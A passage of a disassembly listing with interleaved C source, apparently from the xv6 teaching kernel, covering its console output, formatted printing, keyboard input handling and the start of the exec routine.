<uartputc> 801004d8: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004df: e8 ec 59 00 00 call 80105ed0 <uartputc> 801004e4: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004eb: e8 e0 59 00 00 call 80105ed0 <uartputc> 801004f0: 83 c4 10 add $0x10,%esp 801004f3: e9 2a ff ff ff jmp 80100422 <consputc+0x32> if(pos < 0 || pos > 25*80) panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004f8: 83 ec 04 sub $0x4,%esp pos -= 80; 801004fb: 8d 5f b0 lea -0x50(%edi),%ebx if(pos < 0 || pos > 25*80) panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004fe: 68 60 0e 00 00 push $0xe60 80100503: 68 a0 80 0b 80 push $0x800b80a0 80100508: 68 00 80 0b 80 push $0x800b8000 pos -= 80; memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 8010050d: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi if(pos < 0 || pos > 25*80) panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. memmove(crt, crt+80, sizeof(crt[0])*23*80); 80100514: e8 27 43 00 00 call 80104840 <memmove> pos -= 80; memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100519: b8 80 07 00 00 mov $0x780,%eax 8010051e: 83 c4 0c add $0xc,%esp 80100521: 29 d8 sub %ebx,%eax 80100523: 01 c0 add %eax,%eax 80100525: 50 push %eax 80100526: 6a 00 push $0x0 80100528: 56 push %esi 80100529: e8 62 42 00 00 call 80104790 <memset> 8010052e: 89 f1 mov %esi,%ecx 80100530: 83 c4 10 add $0x10,%esp 80100533: be 07 00 00 00 mov $0x7,%esi 80100538: e9 5c ff ff ff jmp 80100499 <consputc+0xa9> if(pos > 0) --pos; } else crt[pos++] = (c&0xff) | 0x0700; // black on white if(pos < 0 || pos > 25*80) panic("pos under/overflow"); 8010053d: 83 ec 0c sub $0xc,%esp 80100540: 68 65 73 10 80 push $0x80107365 80100545: e8 26 fe ff ff call 80100370 <panic> pos |= inb(CRTPORT+1); if(c == '\n') pos += 80 - pos%80; else if(c == BACKSPACE){ if(pos > 0) --pos; 8010054a: 85 c0 test %eax,%eax 8010054c: 8d 78 ff lea -0x1(%eax),%edi 8010054f: 0f 85 20 ff ff ff jne 80100475 <consputc+0x85> 80100555: b9 00 80 0b 80 mov $0x800b8000,%ecx 8010055a: 31 db xor %ebx,%ebx 8010055c: 31 f6 xor %esi,%esi 8010055e: e9 36 ff ff ff jmp 80100499 <consputc+0xa9> pos = inb(CRTPORT+1) << 8; outb(CRTPORT, 15); pos |= inb(CRTPORT+1); if(c == '\n') pos += 80 - pos%80; 80100563: ba 67 66 66 66 mov $0x66666667,%edx 80100568: f7 ea imul %edx 8010056a: 89 d0 mov %edx,%eax 8010056c: c1 e8 05 shr $0x5,%eax 8010056f: 8d 04 80 lea (%eax,%eax,4),%eax 80100572: c1 e0 04 shl $0x4,%eax 80100575: 8d 78 50 lea 0x50(%eax),%edi 80100578: e9 f8 fe ff ff jmp 80100475 <consputc+0x85> 8010057d: 8d 76 00 lea 0x0(%esi),%esi 80100580 <printint>: int locking; } cons; static void printint(int xx, int base, int sign) { 80100580: 55 push %ebp 80100581: 89 e5 mov %esp,%ebp 80100583: 57 push %edi 80100584: 56 push %esi 80100585: 53 push %ebx 80100586: 89 d6 mov %edx,%esi 80100588: 83 ec 2c sub $0x2c,%esp static char digits[] = "0123456789abcdef"; char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) 8010058b: 85 c9 test %ecx,%ecx int locking; } cons; static void printint(int xx, int base, int sign) { 8010058d: 89 4d d4 mov %ecx,-0x2c(%ebp) static char digits[] = "0123456789abcdef"; char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) 80100590: 74 0c je 8010059e <printint+0x1e> 80100592: 89 c7 mov %eax,%edi 80100594: c1 ef 1f shr $0x1f,%edi 80100597: 85 c0 test %eax,%eax 80100599: 89 7d d4 mov %edi,-0x2c(%ebp) 8010059c: 78 51 js 801005ef <printint+0x6f> x = -xx; else x = xx; i = 0; 8010059e: 31 ff xor %edi,%edi 801005a0: 8d 5d d7 lea -0x29(%ebp),%ebx 801005a3: eb 05 jmp 801005aa <printint+0x2a> 801005a5: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 801005a8: 89 cf mov %ecx,%edi 801005aa: 31 d2 xor %edx,%edx 801005ac: 8d 4f 01 lea 0x1(%edi),%ecx 801005af: f7 f6 div %esi 801005b1: 0f b6 92 90 73 10 80 movzbl -0x7fef8c70(%edx),%edx }while((x /= base) != 0); 801005b8: 85 c0 test %eax,%eax else x = xx; i = 0; do{ buf[i++] = digits[x % base]; 801005ba: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 801005bd: 75 e9 jne 801005a8 <printint+0x28> if(sign) 801005bf: 8b 45 d4 mov -0x2c(%ebp),%eax 801005c2: 85 c0 test %eax,%eax 801005c4: 74 08 je 801005ce <printint+0x4e> buf[i++] = '-'; 801005c6: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 801005cb: 8d 4f 02 lea 0x2(%edi),%ecx 801005ce: 8d 74 0d d7 lea -0x29(%ebp,%ecx,1),%esi 801005d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while(--i >= 0) consputc(buf[i]); 801005d8: 0f be 06 movsbl (%esi),%eax 801005db: 83 ee 01 sub $0x1,%esi 801005de: e8 0d fe ff ff call 801003f0 <consputc> }while((x /= base) != 0); if(sign) buf[i++] = '-'; while(--i >= 0) 801005e3: 39 de cmp %ebx,%esi 801005e5: 75 f1 jne 801005d8 <printint+0x58> consputc(buf[i]); } 801005e7: 83 c4 2c add $0x2c,%esp 801005ea: 5b pop %ebx 801005eb: 5e pop %esi 801005ec: 5f pop %edi 801005ed: 5d pop %ebp 801005ee: c3 ret char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) x = -xx; 801005ef: f7 d8 neg %eax 801005f1: eb ab jmp 8010059e <printint+0x1e> 801005f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100600 <consolewrite>: return target - n; } int consolewrite(struct inode *ip, char *buf, int n) { 80100600: 55 push %ebp 80100601: 89 e5 mov %esp,%ebp 80100603: 57 push %edi 80100604: 56 push %esi 80100605: 53 push %ebx 80100606: 83 ec 18 sub $0x18,%esp int i; iunlock(ip); 80100609: ff 75 08 pushl 0x8(%ebp) return target - n; } int consolewrite(struct inode *ip, char *buf, int n) { 8010060c: 8b 75 10 mov 0x10(%ebp),%esi int i; iunlock(ip); 8010060f: e8 2c 11 00 00 call 80101740 <iunlock> acquire(&cons.lock); 80100614: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010061b: e8 70 40 00 00 call 80104690 <acquire> 80100620: 8b 7d 0c mov 0xc(%ebp),%edi for(i = 0; i < n; i++) 80100623: 83 c4 10 add $0x10,%esp 80100626: 85 f6 test %esi,%esi 80100628: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010062b: 7e 12 jle 8010063f <consolewrite+0x3f> 8010062d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100630: 0f b6 07 movzbl (%edi),%eax 80100633: 83 c7 01 add $0x1,%edi 80100636: e8 b5 fd ff ff call 801003f0 <consputc> { int i; iunlock(ip); acquire(&cons.lock); for(i = 0; i < n; i++) 8010063b: 39 df cmp %ebx,%edi 8010063d: 75 f1 jne 80100630 <consolewrite+0x30> consputc(buf[i] & 0xff); release(&cons.lock); 8010063f: 83 ec 0c sub $0xc,%esp 80100642: 68 20 a5 10 80 push $0x8010a520 80100647: e8 f4 40 00 00 call 80104740 <release> ilock(ip); 8010064c: 58 pop %eax 8010064d: ff 75 08 pushl 0x8(%ebp) 80100650: e8 0b 10 00 00 call 80101660 <ilock> return n; } 80100655: 8d 65 f4 lea -0xc(%ebp),%esp 80100658: 89 f0 mov %esi,%eax 8010065a: 5b pop %ebx 8010065b: 5e pop %esi 8010065c: 5f pop %edi 8010065d: 5d pop %ebp 8010065e: c3 ret 8010065f: 90 nop 80100660 <cprintf>: //PAGEBREAK: 50 // Print to the console. only understands %d, %x, %p, %s. void cprintf(char *fmt, ...) { 80100660: 55 push %ebp 80100661: 89 e5 mov %esp,%ebp 80100663: 57 push %edi 80100664: 56 push %esi 80100665: 53 push %ebx 80100666: 83 ec 1c sub $0x1c,%esp int i, c, locking; uint *argp; char *s; locking = cons.locking; 80100669: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010066e: 85 c0 test %eax,%eax { int i, c, locking; uint *argp; char *s; locking = cons.locking; 80100670: 89 45 e0 mov %eax,-0x20(%ebp) if(locking) 80100673: 0f 85 47 01 00 00 jne 801007c0 <cprintf+0x160> acquire(&cons.lock); if (fmt == 0) 80100679: 8b 45 08 mov 0x8(%ebp),%eax 8010067c: 85 c0 test %eax,%eax 8010067e: 89 c1 mov %eax,%ecx 80100680: 0f 84 4f 01 00 00 je 801007d5 <cprintf+0x175> panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100686: 0f b6 00 movzbl (%eax),%eax 80100689: 31 db xor %ebx,%ebx 8010068b: 8d 75 0c lea 0xc(%ebp),%esi 8010068e: 89 cf mov %ecx,%edi 80100690: 85 c0 test %eax,%eax 80100692: 75 55 jne 801006e9 <cprintf+0x89> 80100694: eb 68 jmp 801006fe <cprintf+0x9e> 80100696: 8d 76 00 lea 0x0(%esi),%esi 80100699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(c != '%'){ consputc(c); continue; } c = fmt[++i] & 0xff; 801006a0: 83 c3 01 add $0x1,%ebx 801006a3: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx if(c == 0) 801006a7: 85 d2 test %edx,%edx 801006a9: 74 53 je 801006fe <cprintf+0x9e> break; switch(c){ 801006ab: 83 fa 70 cmp $0x70,%edx 801006ae: 74 7a je 8010072a <cprintf+0xca> 801006b0: 7f 6e jg 80100720 <cprintf+0xc0> 801006b2: 83 fa 25 cmp $0x25,%edx 801006b5: 0f 84 ad 00 00 00 je 80100768 <cprintf+0x108> 801006bb: 83 fa 64 cmp $0x64,%edx 801006be: 0f 85 84 00 00 00 jne 80100748 <cprintf+0xe8> case 'd': printint(*argp++, 10, 1); 801006c4: 8d 46 04 lea 0x4(%esi),%eax 801006c7: b9 01 00 00 00 mov $0x1,%ecx 801006cc: ba 0a 00 00 00 mov $0xa,%edx 801006d1: 89 45 e4 mov %eax,-0x1c(%ebp) 801006d4: 8b 06 mov (%esi),%eax 801006d6: e8 a5 fe ff ff call 80100580 <printint> 801006db: 8b 75 e4 mov -0x1c(%ebp),%esi if (fmt == 0) panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006de: 83 c3 01 add $0x1,%ebx 801006e1: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006e5: 85 c0 test %eax,%eax 801006e7: 74 15 je 801006fe <cprintf+0x9e> if(c != '%'){ 801006e9: 83 f8 25 cmp $0x25,%eax 801006ec: 74 b2 je 801006a0 <cprintf+0x40> s = "(null)"; for(; *s; s++) consputc(*s); break; case '%': consputc('%'); 801006ee: e8 fd fc ff ff call 801003f0 <consputc> if (fmt == 0) panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006f3: 83 c3 01 add $0x1,%ebx 801006f6: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006fa: 85 c0 test %eax,%eax 801006fc: 75 eb jne 801006e9 <cprintf+0x89> consputc(c); break; } } if(locking) 801006fe: 8b 45 e0 mov -0x20(%ebp),%eax 80100701: 85 c0 test %eax,%eax 80100703: 74 10 je 80100715 <cprintf+0xb5> release(&cons.lock); 80100705: 83 ec 0c sub $0xc,%esp 80100708: 68 20 a5 10 80 push $0x8010a520 8010070d: e8 2e 40 00 00 call 80104740 <release> 80100712: 83 c4 10 add $0x10,%esp } 80100715: 8d 65 f4 lea -0xc(%ebp),%esp 80100718: 5b pop %ebx 80100719: 5e pop %esi 8010071a: 5f pop %edi 8010071b: 5d pop %ebp 8010071c: c3 ret 8010071d: 8d 76 00 lea 0x0(%esi),%esi continue; } c = fmt[++i] & 0xff; if(c == 0) break; switch(c){ 80100720: 83 fa 73 cmp $0x73,%edx 80100723: 74 5b je 80100780 <cprintf+0x120> 80100725: 83 fa 78 cmp $0x78,%edx 80100728: 75 1e jne 80100748 <cprintf+0xe8> case 'd': printint(*argp++, 10, 1); break; case 'x': case 'p': printint(*argp++, 16, 0); 8010072a: 8d 46 04 lea 0x4(%esi),%eax 8010072d: 31 c9 xor %ecx,%ecx 8010072f: ba 10 00 00 00 mov $0x10,%edx 80100734: 89 45 e4 mov %eax,-0x1c(%ebp) 80100737: 8b 06 mov (%esi),%eax 80100739: e8 42 fe ff ff call 80100580 <printint> 8010073e: 8b 75 e4 mov -0x1c(%ebp),%esi break; 80100741: eb 9b jmp 801006de <cprintf+0x7e> 80100743: 90 nop 80100744: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi case '%': consputc('%'); break; default: // Print unknown % sequence to draw attention. consputc('%'); 80100748: b8 25 00 00 00 mov $0x25,%eax 8010074d: 89 55 e4 mov %edx,-0x1c(%ebp) 80100750: e8 9b fc ff ff call 801003f0 <consputc> consputc(c); 80100755: 8b 55 e4 mov -0x1c(%ebp),%edx 80100758: 89 d0 mov %edx,%eax 8010075a: e8 91 fc ff ff call 801003f0 <consputc> break; 8010075f: e9 7a ff ff ff jmp 801006de <cprintf+0x7e> 80100764: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s = "(null)"; for(; *s; s++) consputc(*s); break; case '%': consputc('%'); 80100768: b8 25 00 00 00 mov $0x25,%eax 8010076d: e8 7e fc ff ff call 801003f0 <consputc> 80100772: e9 7c ff ff ff jmp 801006f3 <cprintf+0x93> 80100777: 89 f6 mov %esi,%esi 80100779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi case 'x': case 'p': printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) 80100780: 8d 46 04 lea 0x4(%esi),%eax 80100783: 8b 36 mov (%esi),%esi 80100785: 89 45 e4 mov %eax,-0x1c(%ebp) s = "(null)"; 80100788: b8 78 73 10 80 mov $0x80107378,%eax 8010078d: 85 f6 test %esi,%esi 8010078f: 0f 44 f0 cmove %eax,%esi for(; *s; s++) 80100792: 0f be 06 movsbl (%esi),%eax 80100795: 84 c0 test %al,%al 80100797: 74 16 je 801007af <cprintf+0x14f> 80100799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801007a0: 83 c6 01 add $0x1,%esi consputc(*s); 801007a3: e8 48 fc ff ff call 801003f0 <consputc> printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) s = "(null)"; for(; *s; s++) 801007a8: 0f be 06 movsbl (%esi),%eax 801007ab: 84 c0 test %al,%al 801007ad: 75 f1 jne 801007a0 <cprintf+0x140> case 'x': case 'p': printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) 801007af: 8b 75 e4 mov -0x1c(%ebp),%esi 801007b2: e9 27 ff ff ff jmp 801006de <cprintf+0x7e> 801007b7: 89 f6 mov %esi,%esi 801007b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi uint *argp; char *s; locking = cons.locking; if(locking) acquire(&cons.lock); 801007c0: 83 ec 0c sub $0xc,%esp 801007c3: 68 20 a5 10 80 push $0x8010a520 801007c8: e8 c3 3e 00 00 call 80104690 <acquire> 801007cd: 83 c4 10 add $0x10,%esp 801007d0: e9 a4 fe ff ff jmp 80100679 <cprintf+0x19> if (fmt == 0) panic("null fmt"); 801007d5: 83 ec 0c sub $0xc,%esp 801007d8: 68 7f 73 10 80 push $0x8010737f 801007dd: e8 8e fb ff ff call 80100370 <panic> 801007e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801007e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801007f0 <consoleintr>: #define C(x) ((x)-'@') // Control-x void consoleintr(int (*getc)(void)) { 801007f0: 55 push %ebp 801007f1: 89 e5 mov %esp,%ebp 801007f3: 57 push %edi 801007f4: 56 push %esi 801007f5: 53 push %ebx int c, doprocdump = 0; 801007f6: 31 f6 xor %esi,%esi #define C(x) ((x)-'@') // Control-x void consoleintr(int (*getc)(void)) { 801007f8: 83 ec 18 sub $0x18,%esp 801007fb: 8b 5d 08 mov 0x8(%ebp),%ebx int c, doprocdump = 0; acquire(&cons.lock); 801007fe: 68 20 a5 10 80 push $0x8010a520 80100803: e8 88 3e 00 00 call 80104690 <acquire> while((c = getc()) >= 0){ 80100808: 83 c4 10 add $0x10,%esp 8010080b: 90 nop 8010080c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100810: ff d3 call *%ebx 80100812: 85 c0 test %eax,%eax 80100814: 89 c7 mov %eax,%edi 80100816: 78 48 js 80100860 <consoleintr+0x70> switch(c){ 80100818: 83 ff 10 cmp $0x10,%edi 8010081b: 0f 84 3f 01 00 00 je 80100960 <consoleintr+0x170> 80100821: 7e 5d jle 80100880 <consoleintr+0x90> 80100823: 83 ff 15 cmp $0x15,%edi 80100826: 0f 84 dc 00 00 00 je 80100908 <consoleintr+0x118> 8010082c: 83 ff 7f cmp $0x7f,%edi 8010082f: 75 54 jne 80100885 <consoleintr+0x95> input.e--; consputc(BACKSPACE); } break; case C('H'): case '\x7f': // Backspace if(input.e != input.w){ 80100831: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100836: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 8010083c: 74 d2 je 80100810 <consoleintr+0x20> input.e--; 8010083e: 83 e8 01 sub $0x1,%eax 80100841: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100846: b8 00 01 00 00 mov $0x100,%eax 8010084b: e8 a0 fb ff ff call 801003f0 <consputc> consoleintr(int (*getc)(void)) { int c, doprocdump = 0; acquire(&cons.lock); while((c = getc()) >= 0){ 80100850: ff d3 call *%ebx 80100852: 85 c0 test %eax,%eax 80100854: 89 c7 mov %eax,%edi 80100856: 79 c0 jns 80100818 <consoleintr+0x28> 80100858: 90 nop 80100859: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } } break; } } release(&cons.lock); 80100860: 83 ec 0c sub $0xc,%esp 80100863: 68 20 a5 10 80 push $0x8010a520 80100868: e8 d3 3e 00 00 call 80104740 <release> if(doprocdump) { 8010086d: 83 c4 10 add $0x10,%esp 80100870: 85 f6 test %esi,%esi 80100872: 0f 85 f8 00 00 00 jne 80100970 <consoleintr+0x180> procdump(); // now call procdump() wo. cons.lock held } } 80100878: 8d 65 f4 lea -0xc(%ebp),%esp 8010087b: 5b pop %ebx 8010087c: 5e pop %esi 8010087d: 5f pop %edi 8010087e: 5d pop %ebp 8010087f: c3 ret { int c, doprocdump = 0; acquire(&cons.lock); while((c = getc()) >= 0){ switch(c){ 80100880: 83 ff 08 cmp $0x8,%edi 80100883: 74 ac je 80100831 <consoleintr+0x41> input.e--; consputc(BACKSPACE); } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ 80100885: 85 ff test %edi,%edi 80100887: 74 87 je 80100810 <consoleintr+0x20> 80100889: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010088e: 89 c2 mov %eax,%edx 80100890: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx 80100896: 83 fa 7f cmp $0x7f,%edx 80100899: 0f 87 71 ff ff ff ja 80100810 <consoleintr+0x20> c = (c == '\r') ? '\n' : c; input.buf[input.e++ % INPUT_BUF] = c; 8010089f: 8d 50 01 lea 0x1(%eax),%edx 801008a2: 83 e0 7f and $0x7f,%eax consputc(BACKSPACE); } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; 801008a5: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 801008a8: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8 consputc(BACKSPACE); } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; 801008ae: 0f 84 c8 00 00 00 je 8010097c <consoleintr+0x18c> input.buf[input.e++ % INPUT_BUF] = c; 801008b4: 89 f9 mov %edi,%ecx 801008b6: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax) consputc(c); 801008bc: 89 f8 mov %edi,%eax 801008be: e8 2d fb ff ff call 801003f0 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 801008c3: 83 ff 0a cmp $0xa,%edi 801008c6: 0f 84 c1 00 00 00 je 8010098d <consoleintr+0x19d> 801008cc: 83 ff 04 cmp $0x4,%edi 801008cf: 0f 84 b8 00 00 00 je 8010098d <consoleintr+0x19d> 801008d5: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801008da: 83 e8 80 sub $0xffffff80,%eax 801008dd: 39 05 a8 ff 10 80 cmp %eax,0x8010ffa8 801008e3: 0f 85 27 ff ff ff jne 80100810 <consoleintr+0x20> input.w = input.e; wakeup(&input.r); 801008e9: 83 ec 0c sub $0xc,%esp if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; input.buf[input.e++ % INPUT_BUF] = c; consputc(c); if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ input.w = input.e; 801008ec: a3 a4 ff 10 80 mov %eax,0x8010ffa4 wakeup(&input.r); 801008f1: 68 a0 ff 10 80 push $0x8010ffa0 801008f6: e8 f5 37 00 00 call 801040f0 <wakeup> 801008fb: 83 c4 10 add $0x10,%esp 801008fe: e9 0d ff ff ff jmp 80100810 <consoleintr+0x20> 80100903: 90 nop 80100904: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; break; case C('U'): // Kill line. while(input.e != input.w && 80100908: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010090d: 39 05 a4 ff 10 80 cmp %eax,0x8010ffa4 80100913: 75 2b jne 80100940 <consoleintr+0x150> 80100915: e9 f6 fe ff ff jmp 80100810 <consoleintr+0x20> 8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.buf[(input.e-1) % INPUT_BUF] != '\n'){ input.e--; 80100920: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100925: b8 00 01 00 00 mov $0x100,%eax 8010092a: e8 c1 fa ff ff call 801003f0 <consputc> case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; break; case C('U'): // Kill line. while(input.e != input.w && 8010092f: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100934: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 8010093a: 0f 84 d0 fe ff ff je 80100810 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 80100940: 83 e8 01 sub $0x1,%eax 80100943: 89 c2 mov %eax,%edx 80100945: 83 e2 7f and $0x7f,%edx case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; break; case C('U'): // Kill line. while(input.e != input.w && 80100948: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx) 8010094f: 75 cf jne 80100920 <consoleintr+0x130> 80100951: e9 ba fe ff ff jmp 80100810 <consoleintr+0x20> 80100956: 8d 76 00 lea 0x0(%esi),%esi 80100959: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi acquire(&cons.lock); while((c = getc()) >= 0){ switch(c){ case C('P'): // Process listing. // procdump() locks cons.lock indirectly; invoke later doprocdump = 1; 80100960: be 01 00 00 00 mov $0x1,%esi 80100965: e9 a6 fe ff ff jmp 80100810 <consoleintr+0x20> 8010096a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } release(&cons.lock); if(doprocdump) { procdump(); // now call procdump() wo. cons.lock held } } 80100970: 8d 65 f4 lea -0xc(%ebp),%esp 80100973: 5b pop %ebx 80100974: 5e pop %esi 80100975: 5f pop %edi 80100976: 5d pop %ebp break; } } release(&cons.lock); if(doprocdump) { procdump(); // now call procdump() wo. cons.lock held 80100977: e9 64 38 00 00 jmp 801041e0 <procdump> } break; default: if(c != 0 && input.e-input.r < INPUT_BUF){ c = (c == '\r') ? '\n' : c; input.buf[input.e++ % INPUT_BUF] = c; 8010097c: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax) consputc(c); 80100983: b8 0a 00 00 00 mov $0xa,%eax 80100988: e8 63 fa ff ff call 801003f0 <consputc> 8010098d: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100992: e9 52 ff ff ff jmp 801008e9 <consoleintr+0xf9> 80100997: 89 f6 mov %esi,%esi 80100999: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801009a0 <consoleinit>: return n; } void consoleinit(void) { 801009a0: 55 push %ebp 801009a1: 89 e5 mov %esp,%ebp 801009a3: 83 ec 10 sub $0x10,%esp initlock(&cons.lock, "console"); 801009a6: 68 88 73 10 80 push $0x80107388 801009ab: 68 20 a5 10 80 push $0x8010a520 801009b0: e8 7b 3b 00 00 call 80104530 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 801009b5: 58 pop %eax 801009b6: 5a pop %edx 801009b7: 6a 00 push $0x0 801009b9: 6a 01 push $0x1 void consoleinit(void) { initlock(&cons.lock, "console"); devsw[CONSOLE].write = consolewrite; 801009bb: c7 05 6c 09 11 80 00 movl $0x80100600,0x8011096c 801009c2: 06 10 80 devsw[CONSOLE].read = consoleread; 801009c5: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968 801009cc: 02 10 80 cons.locking = 1; 801009cf: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 801009d6: 00 00 00 ioapicenable(IRQ_KBD, 0); 801009d9: e8 b2 18 00 00 call 80102290 <ioapicenable> } 801009de: 83 c4 10 add $0x10,%esp 801009e1: c9 leave 801009e2: c3 ret 801009e3: 66 90 xchg %ax,%ax 801009e5: 66 90 xchg %ax,%ax 801009e7: 66 90 xchg %ax,%ax 801009e9: 66 90 xchg %ax,%ax 801009eb: 66 90 xchg %ax,%ax 801009ed: 66 90 xchg %ax,%ax 801009ef: 90 nop 801009f0 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 801009f0: 55 push %ebp 801009f1: 89 e5 mov %esp,%ebp 801009f3: 57 push %edi 801009f4: 56 push %esi 801009f5: 53 push %ebx 801009f6: 81 ec 0c 01 00 00 sub $0x10c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 801009fc: e8 af 2d 00 00 call 801037b0 <myproc> 80100a01: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 80100a07: e8 34 21 00 00 call 80102b40 <begin_op> if((ip = namei(path)) == 0){ 80100a0c: 83 ec 0c sub $0xc,%esp 80100a0f: ff 75 08 pushl 0x8(%ebp) 80100a12: e8 99 14 00 00 call 80101eb0 <namei> 80100a17: 83 c4 10 add $0x10,%esp 80100a1a: 85 c0 test %eax,%eax 80100a1c: 0f 84 9c 01 00 00 je 80100bbe <exec+0x1ce> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 80100a22: 83 ec 0c sub $0xc,%esp 80100a25: 89 c3 mov %eax,%ebx 80100a27: 50 push %eax 80100a28: e8 33 0c 00 00 call 80101660 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 80100a2d: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 80100a33: 6a 34 push $0x34 80100a35: 6a 00 push $0x0 80100a37: 50 push %eax 80100a38: 53 push %ebx 80100a39: e8 02 0f 00 00 call 80101940 <readi> 80100a3e: 83 c4 20 add $0x20,%esp 80100a41: 83 f8 34 cmp $0x34,%eax 80100a44: 74 22 je 80100a68 <exec+0x78> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a46: 83 ec 0c sub $0xc,%esp 80100a49: 53 push %ebx 80100a4a: e8 a1 0e 00 00 call 801018f0 <iunlockput> end_op(); 80100a4f: e8 5c 21 00 00 call 80102bb0 <end_op> 80100a54: 83 c4 10 add $0x10,%esp } return -1; 80100a57: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a5c: 8d 65 f4 lea -0xc(%ebp),%esp 80100a5f: 5b pop %ebx 80100a60: 5e pop %esi 80100a61: 5f pop %edi 80100a62: 5d pop %ebp 80100a63: c3 ret 80100a64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) goto bad; if(elf.magic != ELF_MAGIC) 80100a68: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a6f: 45 4c 46 80100a72: 75 d2 jne 80100a46 <exec+0x56> goto 